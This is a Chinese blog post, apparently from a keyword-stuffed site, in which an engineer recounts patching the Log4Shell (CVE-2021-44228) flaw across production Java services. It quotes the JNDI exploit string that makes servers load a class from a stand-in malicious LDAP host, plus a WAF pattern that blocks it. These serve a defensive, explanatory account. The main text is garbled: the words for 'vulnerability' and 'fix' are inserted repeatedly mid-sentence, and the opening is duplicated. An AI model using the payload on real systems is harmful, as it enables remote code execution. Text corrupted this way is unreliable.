烟消火灭网

2021年12月10日,一个周五的凌晨,我的手机被运维同事的连环夺命call震醒。Apache Log4j2爆出远程代码执行漏洞,CVE编号CVE-2021-44228,江湖人称“Log4Shell”

log4j漏洞修复

2021年12月10日,漏洞一个周五的修复凌晨,我的漏洞手机被运维同事的连环夺命call震醒。Apache Log4j2爆出远程代码执行漏洞,修复CVE编号CVE-2021-44228,漏洞江湖人称“Log4Shell”。修复当时我们生产环境里跑着几十个Java服务,漏洞几乎全部中招——因为日志框架这玩意儿,修复谁家不用啊。漏洞 漏洞本身简单得让人后背发凉。修复攻击者只要在任意一个会被日志记录的漏洞输入框里,比如用户名、修复请求头、漏洞甚至一条聊天消息,修复塞进一段特殊字符串`${ jndi:ldap://恶意服务器/exp}`,漏洞Log4j就会乖乖去解析它,然后从远程加载攻击者准备好的恶意类。整个攻击链不到一秒钟,而且不需要任何前置权限。原理不复杂,复杂的是怎么修。 当时网上流传的“临时方案”五花八门,有人让你改JVM参数`-Dlog4j2.formatMsgNoLookups=true`,有人让你删掉`JndiLookup.class`文件,还有人直接建议升级到2.15.0。说实话,这些方案在紧急时刻都管用,但都不彻底。改参数要重启服务,删class文件要重新打镜像,升级版本又怕兼容性问题——毕竟你依赖的第三方库可能硬编码了旧版Log4j。 我们当时的处理流程分三步走。第一步,用脚本批量扫描所有Java进程的启动参数,确认哪些服务没加防御参数,直接补上并滚动重启。第二步,排查所有依赖树,用`mvn dependency:tree`找出传递依赖里嵌的Log4j版本,凡是低于2.15.0的,在pom里显式声明升级。这一步最坑,因为有些老项目用的是log4j-api和log4j-core分离的版本,光改一个没用。第三步,针对没法立刻重启的核心交易服务,我们在WAF层临时加了拦截规则,匹配`${ jndi:`这种特征串直接拦掉。 但真正让我印象深刻的不是技术操作,而是修复过程中暴露的问题。我们有个内部工具,是两年前离职同事写的,用了一个非常冷门的日志封装包,那个包又引了Log4j 1.x。Log4j 1.x本身不受这个漏洞影响,可扫描脚本不认版本号,只认包名,于是误报了一大堆。那天凌晨,开发群里吵成一团,有人坚持说“我们用的不是Log4j2”,有人翻出源码证明自己确实没调用JndiLookup。最后大家冷静下来,靠人工核对每个服务的实际日志输出路径,才把真正的风险面缩小到12个核心服务。 修复完成后,我盯着监控面板看了整整两天。CPU曲线平稳,GC频率没有异常,内存占用也正常。但心里始终悬着——因为Log4j的解析逻辑太深了,你根本不知道还有哪条隐藏路径能触发lookup。后来官方又陆续出了2.16.0(默认禁用JNDI)、2.17.0(彻底移除消息查找功能),我们每次都跟着升,每次升级都像拆炸弹。 这事过去快三年了,但每次看到新漏洞公告,我都会想起那个凌晨。Log4j漏洞给整个行业上了一课:日志框架这种“基础设施中的基础设施”,一旦出问题就是核弹级影响。你没法保证自己写的代码永远安全,但至少得知道,你依赖的每一行别人写的代码,都可能成为突破口。修复漏洞不是打补丁,是重新审视整个依赖链的信任边界。

访客,请您发表评论:

© 2026. sitemap